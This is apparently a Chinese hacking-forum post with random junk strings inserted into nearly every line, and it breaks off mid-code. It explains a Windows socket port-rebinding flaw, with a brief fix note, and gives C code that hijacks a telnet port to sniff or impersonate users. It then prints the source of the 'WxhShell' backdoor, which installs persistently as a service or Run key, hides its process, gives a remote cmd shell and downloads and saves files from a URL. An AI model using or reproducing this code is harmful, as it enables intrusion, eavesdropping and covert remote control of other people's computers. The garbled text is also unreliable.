在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
S8+GM s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
TvV_Tz4e B=E<</i saddr.sin_family = AF_INET;
`zD]*i( gP&G63^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8ZmU(m T8nOb9Nrj bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ZbmBwW_ 7 !Ee#jCXS 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
*V@>E2@ ]: VR3e"H 这意味着什么?意味着可以进行如下的攻击:
mMp( A1VbqA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
l/(|rl#6 BSe{HmDq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'@~\(SH /Y NV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
m tPmVze woQ UrO( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}vppn=[Y 7x6q:4Ep\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$~$NQe!/ ]/G~ L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x~!gGfP nT(Lh/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
`7.(dn>WL0 eouxNw}F1 #include
{KH!PAh #include
^oykimYI- #include
~353x%e' #include
adi^*7Q] ) DWORD WINAPI ClientThread(LPVOID lpParam);
R^[b
I; int main()
[(*ObvEF {
L[Z
SgRTu WORD wVersionRequested;
<=1nr@L DWORD ret;
H1!u1k1nl WSADATA wsaData;
75>)1H)Xm BOOL val;
/'
+GYS SOCKADDR_IN saddr;
U|[+M@F_L SOCKADDR_IN scaddr;
&OK[n1M int err;
1rnbUE SOCKET s;
w$E8R[J~P SOCKET sc;
9 E@}@ZV( int caddsize;
@51!vQwqR HANDLE mt;
#Cj$;q{! DWORD tid;
P4h^_*d wVersionRequested = MAKEWORD( 2, 2 );
%jS#DVxBR err = WSAStartup( wVersionRequested, &wsaData );
S,I|8
YE if ( err != 0 ) {
`E @TPdu printf("error!WSAStartup failed!\n");
Ub>Pl,~' return -1;
l_?r#Qc7 }
0!Zp4>l\Z saddr.sin_family = AF_INET;
0uw3[,I
pwu8LQ3b{O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!YM;5vte+ #$W bYL| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\Z?.Po`!j saddr.sin_port = htons(23);
at N%csA0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kNqIPvuMr {
MLd*WpiI. printf("error!socket failed!\n");
am+'j5`Ys return -1;
N:4oVi@Je }
P#gY-k&Nr val = TRUE;
AK$h
SM //SO_REUSEADDR选项就是可以实现端口重绑定的
~s$
jiA1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JPsR7f {
ZUkrJ' printf("error!setsockopt failed!\n");
PO$
OXw return -1;
)&jE<C0 }
{ \r1A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0=WZ 8|R //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q!%C:b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{c#{dT z_gjC%(y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Zze(Ik {
<Z0N)0| ret=GetLastError();
$qvk9 B0E printf("error!bind failed!\n");
CrTGC%w{= return -1;
1u%e7 }
TB oN8cB} listen(s,2);
~|FKl% while(1)
Uk2U: {
*5Mg^}ZC5 caddsize = sizeof(scaddr);
J)148/ //接受连接请求
JGLjx"Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
JA")L0a_ if(sc!=INVALID_SOCKET)
#z(JYw, {
x)^/3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
uU|fCwQt if(mt==NULL)
#]g9O ?0$ {
&efwfnG< printf("Thread Creat Failed!\n");
J2vaKl break;
]j^V5y" }
2c%*u {=: }
#iZ%CY\ CloseHandle(mt);
^Z6N&s#6 }
! u4'1jd[d closesocket(s);
Vk3xWD~ WSACleanup();
JQ[~N- return 0;
mbZS J }
xs'vd:l.Pp DWORD WINAPI ClientThread(LPVOID lpParam)
^")SU(` {
bOY<C%;C
SOCKET ss = (SOCKET)lpParam;
P
S$6`6G SOCKET sc;
p!XB\%sv'" unsigned char buf[4096];
dxz.%a@PW SOCKADDR_IN saddr;
xlhc`wdm long num;
T#>1$0yv DWORD val;
7GyJmzEE DWORD ret;
@D'NoA@1A //如果是隐藏端口应用的话,可以在此处加一些判断
[6$n //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
qaj~q(j~C saddr.sin_family = AF_INET;
]jkaOj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,j'>}'wG) saddr.sin_port = htons(23);
N1pw*<& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
88]UA {
Zn-F !Lsv printf("error!socket failed!\n");
-0tHc=\u( return -1;
b }^ylm }
!8z,}HUdK val = 100;
V~9s+> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3ZAPcpB2 {
^hMJNy&R ret = GetLastError();
0Ud.u return -1;
t+2!"Jr }
;q3"XLV(T[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
P:p@Iep {
&4m\``//9 ret = GetLastError();
pyf/%9R:d return -1;
}uCC~ <^ }
&idPO{G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
j9bn|p$DA {
,rC$~
& printf("error!socket connect failed!\n");
BS6UXAf{|Z closesocket(sc);
I Ceb2R closesocket(ss);
R
_c!
,y return -1;
NDmTxW#g }
t/3t69 \x while(1)
YpGG^;M$ {
tbNIl cAWS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3~r>G //如果是嗅探内容的话,可以再此处进行内容分析和记录
{cYS0%Go //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zx(=ArCRr num = recv(ss,buf,4096,0);
9/@7NNKJ if(num>0)
3=)!9;uY send(sc,buf,num,0);
8ph*S&H else if(num==0)
<z=d5g{n break;
7FTf8 num = recv(sc,buf,4096,0);
oaK&!$S] if(num>0)
]:6M!+?( send(ss,buf,num,0);
d=6FL" .o else if(num==0)
a%fMf[Fu break;
j3J\%7^i }
;;3oWsil} closesocket(ss);
@_+B'<2 closesocket(sc);
'/ >7pB return 0 ;
<6djdr1:b }
5V{>
82 !n?8'eqWru &F!Ct(c99 ==========================================================
$N[R99*x8 (9_O||ee 下边附上一个代码,,WXhSHELL
^1b/Y8&8A JxV0y ==========================================================
'0\v[f{K3G ,f]GOH #include "stdafx.h"
Y
>83G`*}b I|SQhbi #include <stdio.h>
"P@jr{zvMd #include <string.h>
x9U(,x6r #include <windows.h>
BwpSw\\?@ #include <winsock2.h>
-VOMt5u #include <winsvc.h>
?_ V oO #include <urlmon.h>
4$wn8!x2| ^`MGlI} #pragma comment (lib, "Ws2_32.lib")
>[D(<b(U& #pragma comment (lib, "urlmon.lib")
X}W4dpU, *Bse3%-v #define MAX_USER 100 // 最大客户端连接数
}1sFddGVt #define BUF_SOCK 200 // sock buffer
'&OJ hLE #define KEY_BUFF 255 // 输入 buffer
rZK;=\Ot 4|]0%H~n6 #define REBOOT 0 // 重启
t@Bl3Nt{ #define SHUTDOWN 1 // 关机
ZliJc7lss `L=d72: #define DEF_PORT 5000 // 监听端口
[@PD[-2QG3 >,&@j,?'] #define REG_LEN 16 // 注册表键长度
65>1f #define SVC_LEN 80 // NT服务名长度
;4!,19AT |k:ecw // 从dll定义API
bRhc8#kw) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
He}uE0^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$1F$3"k typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
G 5T{* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!L=RhMI +'@j~\>^yJ // wxhshell配置信息
nc.(bb), struct WSCFG {
qpCNvhi int ws_port; // 监听端口
8q5
`A Gl char ws_passstr[REG_LEN]; // 口令
JSAbh\Mq6 int ws_autoins; // 安装标记, 1=yes 0=no
hbOyrjanx char ws_regname[REG_LEN]; // 注册表键名
NhgzU+)+ char ws_svcname[REG_LEN]; // 服务名
TGxmc37? char ws_svcdisp[SVC_LEN]; // 服务显示名
,*r}23 char ws_svcdesc[SVC_LEN]; // 服务描述信息
z87_/(nu char ws_passmsg[SVC_LEN]; // 密码输入提示信息
u5 1%~ int ws_downexe; // 下载执行标记, 1=yes 0=no
qTA,rr#p0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B}&9+2M char ws_filenam[SVC_LEN]; // 下载后保存的文件名
v"K # q5UD!&W };
n$03##pf b)e';M // default Wxhshell configuration
e0nr dM[i struct WSCFG wscfg={DEF_PORT,
)^)j=xs "xuhuanlingzhe",
*2(W`m 1,
,2R7AHk "Wxhshell",
TB@0j
;g "Wxhshell",
{+SshT>J "WxhShell Service",
b;K];o-/f "Wrsky Windows CmdShell Service",
keMfK]9 "Please Input Your Password: ",
yt@;yd:OEk 1,
L#}HeOEi[ "
http://www.wrsky.com/wxhshell.exe",
\@KK X "Wxhshell.exe"
XP|qY1 };
H/I1 n\ \d&/,?,Ey // 消息定义模块
.GM}3(1fX` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_x&fK$Y)B char *msg_ws_prompt="\n\r? for help\n\r#>";
:1Y *&s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nz}}m^-j char *msg_ws_ext="\n\rExit.";
bFv,.(h' char *msg_ws_end="\n\rQuit.";
^hN.FIzM char *msg_ws_boot="\n\rReboot...";
M`=bJO: char *msg_ws_poff="\n\rShutdown...";
[JzOsi~R char *msg_ws_down="\n\rSave to ";
5{esL4k #@v$`Df< char *msg_ws_err="\n\rErr!";
GcpAj9 char *msg_ws_ok="\n\rOK!";
G8Qo]E9-/ !idQ-& char ExeFile[MAX_PATH];
(3[Lz+W.u int nUser = 0;
n_qDg HANDLE handles[MAX_USER];
@8jc|X<A int OsIsNt;
IcDAl~uG ="<S1}. SERVICE_STATUS serviceStatus;
$X;wj5oj SERVICE_STATUS_HANDLE hServiceStatusHandle;
waYH_)Zx dPtQ
Sa // 函数声明
yE6EoC^ int Install(void);
AvxP0@.` int Uninstall(void);
:-.K.Ch|: int DownloadFile(char *sURL, SOCKET wsh);
9_07?`Jr
int Boot(int flag);
CB1AL]|3 void HideProc(void);
L(
B(x>w int GetOsVer(void);
33*NgQ;&~' int Wxhshell(SOCKET wsl);
i=ztWKwKf void TalkWithClient(void *cs);
t]QGyW A] int CmdShell(SOCKET sock);
K~MTbdg int StartFromService(void);
.Y^UPxf@ int StartWxhshell(LPSTR lpCmdLine);
- 2`D(xC '(4#He?Gd VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D{J+}*y VOID WINAPI NTServiceHandler( DWORD fdwControl );
v)VhR2d3 2!y %nkO* // 数据结构和表定义
vvDaL$ SERVICE_TABLE_ENTRY DispatchTable[] =
`H7V[' {
4NN81~v 4 {wscfg.ws_svcname, NTServiceMain},
eLd7|*| {NULL, NULL}
4YmN3i };
R DAihq {TWgR2?{C // 自我安装
R=/6bR57 int Install(void)
L
2Z9g`> {
F:P&hK char svExeFile[MAX_PATH];
ndY1j5 HKEY key;
*a2y strcpy(svExeFile,ExeFile);
Z#i5=,Bk ! 54(K6a[ // 如果是win9x系统,修改注册表设为自启动
}$zJdf,\ if(!OsIsNt) {
"V>7u{T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#;#r4sJwU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L+b"d3!G&% RegCloseKey(key);
&M6cCT]&M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y9>? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2|8&=K / RegCloseKey(key);
U_/<tWl\[3 return 0;
_1?
PN8 }
"?yu^ }
2Y2J)5, }
G]T A7~VT else {
cHG>iW 9C ti)4J2c,8 // 如果是NT以上系统,安装为系统服务
rf%NfU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
v.aSf`K if (schSCManager!=0)
m&h5u, {
@Qa)@'u SC_HANDLE schService = CreateService
unUCn5hJ= (
2qY+-yOEt schSCManager,
\qU .?V[2 wscfg.ws_svcname,
=h"*1` wscfg.ws_svcdisp,
j1LL[+G-"_ SERVICE_ALL_ACCESS,
jgb>:]: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
];|;") #= SERVICE_AUTO_START,
r$7D;>*O{ SERVICE_ERROR_NORMAL,
-bq\2Yc$] svExeFile,
<<Fk[qMA NULL,
A^a9,T NULL,
1Xv- e8M NULL,
/^d!$v NULL,
jq4{UW' NULL
fR4O^6c: );
<^Hh5kfS' if (schService!=0)
>#MGGCGL {
-/s2' CloseServiceHandle(schService);
j})6O! L. CloseServiceHandle(schSCManager);
(:p&[HNuN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
P9wx`x""k strcat(svExeFile,wscfg.ws_svcname);
+bj[. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`_+j+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
lIN`1vX( RegCloseKey(key);
#Moju return 0;
fy|Ae }
mST/u>' }
-6+&?f CloseServiceHandle(schSCManager);
nsq7,%5 }
y?|JBf }
={a8=E!; @'K+ return 1;
e:BKdZGW }
CPI7&jqu hE-u9i // 自我卸载
N o}Ly{
int Uninstall(void)
@nJ#kd[ {
RyGce'
q HKEY key;
ya9V+/i7T_ |!\(eLR9> if(!OsIsNt) {
<*Kj7o{Qn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wec|~Rc- RegDeleteValue(key,wscfg.ws_regname);
8bB'[gJ]{ RegCloseKey(key);
J%
B(4` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7[l
"= RegDeleteValue(key,wscfg.ws_regname);
Dl3Df u8 RegCloseKey(key);
~6nq$( # return 0;
]i=\5FH e }
kpkN GQ2 }
mn=G6h
T}W }
(+Yerc.NQt else {
Jmln*,Ol7 h5bQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/^E2BRI if (schSCManager!=0)
\pzqUTk {
K4vl#*qn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O; qerE?i` if (schService!=0)
X9f!F2x {
Q<y&*o3YF| if(DeleteService(schService)!=0) {
eeuTf CloseServiceHandle(schService);
%#rH~E CloseServiceHandle(schSCManager);
A22h+8yG return 0;
0ih=<@1 K }
o)P'H"Ki CloseServiceHandle(schService);
Y9TaU]7] }
[T;0vv8 CloseServiceHandle(schSCManager);
1)aB']K% }
:bLLN }
FuNc#n> -*sDa6L return 1;
m~fA=#l
l }
7P`|wNq K h}Oiw // 从指定url下载文件
b7It8 int DownloadFile(char *sURL, SOCKET wsh)
Y5~_y?BX {
nlsQf3 HRESULT hr;
'3f"#fF6 char seps[]= "/";
]@W.5!5H char *token;
h sVf/% char *file;
g/b_\__A char myURL[MAX_PATH];
lPh>8:qFM char myFILE[MAX_PATH];
qV$\.T>x fA
u^%jiU strcpy(myURL,sURL);
\:
H&.VQ" token=strtok(myURL,seps);
"CdL?( while(token!=NULL)
_5vAnt* {
We#u-#k_O file=token;
[N}:Di,S token=strtok(NULL,seps);
sXm/+I^ }
[YY[E 7 x4cP%{n GetCurrentDirectory(MAX_PATH,myFILE);
ocCC63J strcat(myFILE, "\\");
KZ/U2.{O< strcat(myFILE, file);
p/B&R@% send(wsh,myFILE,strlen(myFILE),0);
5!r?U send(wsh,"...",3,0);
!M&L<0b:7e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
TOo0rcl if(hr==S_OK)
1!"0fZh9U return 0;
)+c4n] else
K@P5]}'# return 1;
)8ejT6r [kx_Izi/T }
2T &<jt `}ak;^Me // 系统电源模块
$srb!&~_> int Boot(int flag)
LB_ylfg {
k&4@$;Ap HANDLE hToken;
3jIi$X06 TOKEN_PRIVILEGES tkp;
=dD<[Iz6 ?b0 VB if(OsIsNt) {
MR/jM@8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(MiEXU~v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
bv`gjR tkp.PrivilegeCount = 1;
jN:!V t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ycypd\q/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
0wV!mC if(flag==REBOOT) {
Yxye?R-: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
V-U,3=C return 0;
>OVi{NyT }
L+7j4:$B8 else {
l@Vl^f~ P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
woJO0hHR return 0;
=e/{fUg8f }
'f9fw^ }
5n,?>>p$ else {
E.]sX_X? if(flag==REBOOT) {
7pDov@K<{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h
V@C|*A return 0;
*R.Q!Lv+ }
{dV#"+ else {
MhN)ZhsC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
rK W<kQT return 0;
\TSt }
B5>h@p-UV }
h4x*C=?A E(A7D XzbR return 1;
mw9;LNi\D }
z5PFppSQ GUJ[2/V~A // win9x进程隐藏模块
sZ #Ck"n void HideProc(void)
*jo y%F {
ZcgSVMqEX @e# eAJhU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:SilQm*Pl if ( hKernel != NULL )
Ml)~%ZbF {
'awL!P-- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/w0l7N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O;c;>x_dA FreeLibrary(hKernel);
Q.Hy"~ }
nYG$V)iCb dg/OjiD[P return;
4Y5Q>2D} }
BRF=TL5Z ',k0_n?t // 获取操作系统版本
K*Y.mM) int GetOsVer(void)
t6&6kl {
y*A#}b*0 OSVERSIONINFO winfo;
6]^;
s1! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
i,N U%be GetVersionEx(&winfo);
8`Fo^c=j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
WJBi#(SY return 1;
.a\b_[+W else
09<O b[%h return 0;
yC ZV:R; }
*(@(9]B~ hM^#X,7 // 客户端句柄模块
cUssF%ud] int Wxhshell(SOCKET wsl)
\D(6t!Ox {
''S*B|: SOCKET wsh;
MVU5+wX struct sockaddr_in client;
]5W0zNb* DWORD myID;
WUx}+3eWv rH7|r\] r while(nUser<MAX_USER)
~Emeo&X {
3eQ-P8LS int nSize=sizeof(client);
Wf/Gt\? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
n5dFp%k if(wsh==INVALID_SOCKET) return 1;
O,6Upk 1lZl10M:f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
N%!8 I if(handles[nUser]==0)
mh;<lW\K/Z closesocket(wsh);
b[,J-/;JNL else
y&Sl#IQ L nUser++;
mDz{8N9<FG }
UR6.zE4=_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,<n >g; xlG/$`Ab return 0;
YIo$ }
z><=F,W &
.VciSq6 // 关闭 socket
$A\fm` void CloseIt(SOCKET wsh)
/,dcr* {
@G< J+pm closesocket(wsh);
BYt#aqf nUser--;
:iJ+ImBpK ExitThread(0);
nPh5(&E }
T X.YTU _cdrz)T // 客户端请求句柄
+@[T0cXp void TalkWithClient(void *cs)
ScU?T<u:i {
W|J8QNL?jm ?{l}35Q.@ SOCKET wsh=(SOCKET)cs;
{h/[!I` char pwd[SVC_LEN];
U8L%=/N>B char cmd[KEY_BUFF];
DJ;il)^ char chr[1];
x>vC;E${" int i,j;
8 hx4N @Z> {/ while (nUser < MAX_USER) {
]TQ2PVN2 v'uWmL7C if(wscfg.ws_passstr) {
ve[` 0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xrDHXqH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S4uX utd //ZeroMemory(pwd,KEY_BUFF);
=#]^H c i=0;
<EFA^,3t% while(i<SVC_LEN) {
,K=\Y9l3 8px@sXI*` // 设置超时
_4F(WC co fd_set FdRead;
wYy=Tl-N struct timeval TimeOut;
c?B@XIl FD_ZERO(&FdRead);
f tW- FD_SET(wsh,&FdRead);
)8]O|Z-CU TimeOut.tv_sec=8;
]vRte!QJ; TimeOut.tv_usec=0;
d 2sY.L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
JVbR5"+. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
s<VNW @NlE2s6a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`Yn:fL7S pwd
=chr[0]; m`
^o<V&
if(chr[0]==0xd || chr[0]==0xa) { cM%I5F+n
pwd=0; _$%.F|:
break; _7r<RZ
} RGFanP
i++; "L^]a$&
} a^_\ #,}
0nUcUdIf+
// 如果是非法用户,关闭 socket F#_JcEE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U@21N3_@_
} SyFw
yJ*`OU#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 21'I-j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HwTb753
5/Viz`hsz
while(1) { g
bDre~|
~t7?5b?*\
ZeroMemory(cmd,KEY_BUFF); `|?K4<5|
)90 Q
// 自动支持客户端 telnet标准 Hhx"47:
j=0; 3V~871:-~
while(j<KEY_BUFF) { wSoIU,I
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o1C1F}gxU
cmd[j]=chr[0]; QND{3Q
if(chr[0]==0xa || chr[0]==0xd) { 5(RFkZn4[
cmd[j]=0; jMv qKJ(<
break; ?'ID7mL
} !5I;3EN
j++; EH{m~x[Ei
} ..BIoSrj
"ee:Z_Sz
// 下载文件 zOJ4I^^
if(strstr(cmd,"http://")) { KMC]<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pu#h:nb>88
if(DownloadFile(cmd,wsh)) | a001_Wv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 50r3Kl0
else K8[vJ7(!|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y,BzBUWK
} " B`k
else { o
4G%m>$
-]yM<dP
switch(cmd[0]) { 8R?X$=$]!.
O@.C.5Ep
// 帮助 |R$V[
case '?': { >np!f8+d"q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >h:rYEsh8V
break; LsaE-l
} '5xIisP
// 安装 OsI>gX>
case 'i': { l;{n"F
if(Install()) %N5gQXg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :/YHU3 ~Y
else *_feD+rq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o/0cd
break; "#zSk=52z
} y!_*CYZ~m
// 卸载 S,ZlS<Z#
case 'r': { e4:,W+g,9
if(Uninstall()) ay~c@RXW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {"{kWbXZ
else matW>D;J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h-r\1{Q1]
break; =' %r"_`}
} \j
C[|LM&
// 显示 wxhshell 所在路径 -Q3jK)1
case 'p': { >s0A.7,5
char svExeFile[MAX_PATH]; +xoh=m
strcpy(svExeFile,"\n\r"); a)L\+$@*
strcat(svExeFile,ExeFile); 581Jp'cje
send(wsh,svExeFile,strlen(svExeFile),0); TA;r
break; WX.6|
} >]b>gc?3
// 重启 sVXIR
case 'b': { ])`+
78
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x=-dv8N?
if(Boot(REBOOT)) =NJ:%kvF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z!`aJE/
else { I*h%e,yIO
closesocket(wsh); : jgvg$fd
ExitThread(0); NsbC0xLd
} 2ed4xhV
break; /%qw-v9qPV
} nsf.wHGZ"J
// 关机 `vbd7i
case 'd': { I`e$U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ajr);xd
if(Boot(SHUTDOWN)) U2hPsF4f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #:q$sKQ_$
else { |ZJ<J)y
closesocket(wsh); "6^~-`O
ExitThread(0); mBAI";L3
} :A,g :B
break; LgG7|\(-
} ZnrsJ1f:
// 获取shell %R?B=W7;Q
case 's': { K[,d9j`^
CmdShell(wsh); _1>Xk_
closesocket(wsh); s)dL^lj;
ExitThread(0); Ca2He}r`
break; -'!K("
} $m
hIXA.
// 退出 hq[:U?!Tt
case 'x': { kU75
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rnOg;|u8
CloseIt(wsh); vk:k ~
break; YGdzA]3>
} ^-wdIu~p?
// 离开 Xa,d"R~
case 'q': { 0c-.h
send(wsh,msg_ws_end,strlen(msg_ws_end),0); A'zXbp:%
closesocket(wsh); ?'xwr)v
WSACleanup(); (u_?#PjX
exit(1); XJ$mRh0`K
break; m2{DLw".
} ,ORwMZtw{H
} crwui 8
} sY-
]
Q
T"bH{|:%*=
// 提示信息 :m&cm%W]ts
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w4AA4u
} Bd++G'FZ
} t^k^e{,q#
z~m{'O`
return; Q
*]d[
} l* ap$1'
g+RgDt9
// shell模块句柄 ^CBc~um2
int CmdShell(SOCKET sock) 9Z[EzKd<~'
{ uc~/l4~N
STARTUPINFO si; {0(:5%
ZeroMemory(&si,sizeof(si)); )'1rZb5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1H-d<G0)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `SfBT1#5G
PROCESS_INFORMATION ProcessInfo; ;h"St0
char cmdline[]="cmd"; B=<Z@u
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hf`5NcnP
return 0; 7Rq|N$y.3
} n5NwiSE
sC}p_'L
// 自身启动模式 78MQoG<
int StartFromService(void) v1j&oA}$.
{ S-
N
[
typedef struct Y[R;UJE`5
{ F
]x2;N
DWORD ExitStatus; xHpB/P ~
DWORD PebBaseAddress; G~+BO'U9'G
